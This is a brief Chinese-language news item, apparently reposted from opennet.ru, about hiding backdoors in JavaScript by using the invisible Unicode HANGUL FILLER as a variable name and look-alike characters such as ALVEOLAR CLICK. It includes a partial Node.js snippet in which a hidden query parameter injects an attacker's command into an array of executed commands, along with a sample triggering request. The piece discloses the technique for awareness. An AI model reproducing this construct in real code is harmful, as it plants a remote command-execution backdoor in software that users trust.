使用不可見的 unicode 字符隱藏 JavaScript 代碼中的操作

繼基於使用 Unicode 字符改變雙向文本顯示順序的 Trojan Source 攻擊方法之後,另一種引入隱藏操作的技術已經發布,適用於 JavaScript 代碼。 新方法基於使用unicode字符“ㅤ”(代碼0x3164,“HANGUL FILLER”),它是一個字母,但沒有可見的內容。 自ECMAScript 2015 規範以來,該字符所屬的Unicode 類別已被允許在JavaScript 變量名稱中使用,這使得在流行的代碼編輯器(如Notepad++ 和VS Code)中創建不可見變量或與其他變量無法區分的新變量成為可能。

以Node.js平台的代碼為例,其中使用單個字符“ㅤ”組成的變量,隱藏了一個後門,可以執行攻擊者指定的代碼:app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // 實際上說的是“const { timeout,ㅤ\u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http: // example.com/',ㅤ// 逗號後跟\u3164 ];

乍一看,外部參數只傳遞了超時值,而要執行的命令數組包含一個無害的固定列表。 但實際上,在超時變量之後,另一個符號代碼為\u3164的不可見變量的值被賦值,該變量也被代入可執行命令數組中。 因此,在存在這種結構的情況下,攻擊者可以發送類似“https://host:8080/network_health?%E3%85%A4=command”的請求來激活後門並執行他的代碼。

作為另一個例子,給出了字符“ǃ”(ALVEOLAR CLICK),其可用於給出指示感嘆號的外觀。 例如,表達式“if(environmentǃ=ENV_PROD){”在 Node.js 14 中執行時將始終為 true,因為它不會檢查差異,而是將變量“environmentǃ”設置為 ENV_PROD。 誤導性的 unicode 字符包括“/”、“−”、“+”、“⩵”、“❨”、“⫽”、“꓿”和“*”。

來源: opennet.ru

添加評論